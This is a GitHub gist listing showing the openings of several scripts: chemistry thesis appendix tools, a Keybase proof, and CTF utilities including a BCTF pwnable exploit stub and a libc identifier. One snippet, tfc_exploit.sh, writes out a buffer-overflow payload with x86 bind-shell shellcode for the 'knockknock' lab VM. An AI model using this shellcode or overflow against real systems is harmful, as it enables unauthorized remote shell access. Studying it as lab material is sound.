Skip to content

Instantly share code, notes, and snippets.

@barrebas
barrebas / kinetics.py
Created August 12, 2015 12:22
Source for thesis appedix 5 - script to estimate the relative reaction rate of the alcohols
#!/usr/bin/python
'''
global variables
'''
k1 = 1.0 # value for rate constant
goal = 0.88 # Goal is the experimentally observed ratio
# between the peaks of undecenol DMPS ether and
# menthol DMPS ether.
'''
@barrebas
barrebas / surface-conversion-tool.py
Created August 12, 2015 12:19
Source for thesis appendix 3 - surface conversion tool
#!/usr/bin/python
import re, math
from Tkinter import *
class Element():
"""Element class"""
def __init__(self, label=None, stoichiometry=None, percentage=None, amount=None):
self.label = label
@barrebas
barrebas / zhong.py
Created March 23, 2015 21:54
BCTF 2015 pwnable 450
from socket import *
import struct, telnetlib
def readtil(delim):
buf = b''
while not delim in buf:
buf += s.recv(1)
return buf
def sendln(b):
@barrebas
barrebas / libc_id.py
Last active December 12, 2018 10:11
ctf libc identifier
import sys
import glob
import commands
def search_dumps(function1, function2, diff):
addr1 = 0
addr2 = 0
# open all libc.so files
@barrebas
barrebas / cactus.py
Created December 11, 2014 18:57
converting a molecule name to structure
#!/usr/bin/python
import urllib2
import urllib
import pybel
molecule_name = raw_input()
molecule = urllib.pathname2url(molecule_name)
response = urllib2.urlopen("http://cactus.nci.nih.gov/chemical/structure/" + molecule + "/smiles")
smiles = response.read()
@barrebas
barrebas / keybase.md
Created October 20, 2014 15:29
keybase.md

Keybase proof

I hereby claim:

  • I am barrebas on github.
  • I am barrebas (https://keybase.io/barrebas) on keybase.
  • I have a public key whose fingerprint is 73C4 E1D7 0FDC E570 D6C5 3C45 FB08 FDF3 959A 0031

To claim this, I am signing this object:

@barrebas
barrebas / tfc_exploit.sh
Created October 14, 2014 18:30
exploit for last stage of knockknock vm
#!/bin/bash
# exploit for last stage of knockknock vm
echo "[+] building shellcode..."
$(python -c 'print "A"*4124+"\x93\x9e\x04\x08"+"\x83\xec\x7f\x6a\x66\x6a\x01\x5b\x58\x99\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\xfc\x15\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x43\x6a\x05\x56\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd\x80\x6a\x3f\x58\x41\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80"' > in.tfc)
if [ ! -f in.tfc ];
then
echo "[!] shellcode not found!"
@barrebas
barrebas / break-vigenere-encryption.py
Created October 10, 2014 18:34
Decode a file encoded with sliding XOR and then base64
#!/usr/bin/python
import string, sys
def decrypt(data, key):
return ''.join(chr(ord(x) ^ ord(key[i % len(key)])) for i, x in enumerate(data, 0))
# Read dictionary of words used by scoreEnglishByWords()
def readdict():
global english_words
#!/usr/bin/python
def generateHex(val):
sVal = ""
sVal = sVal + "\\x" + "%02x" % (val & 0xff)
sVal = sVal + "\\x" + "%02x" % ((val >> 8) & 0xff)
sVal = sVal + "\\x" + "%02x" % ((val >> 16) & 0xff)
sVal = sVal + "\\x" + "%02x" % ((val >> 24) & 0xff)
return sVal
#!/usr/bin/python
import sys
def generateHex(val):
sVal = ""
sVal = sVal + "\\x" + "%02x" % (val & 0xff)
sVal = sVal + "\\x" + "%02x" % ((val >> 8) & 0xff)
sVal = sVal + "\\x" + "%02x" % ((val >> 16) & 0xff)
sVal = sVal + "\\x" + "%02x" % ((val >> 24) & 0xff)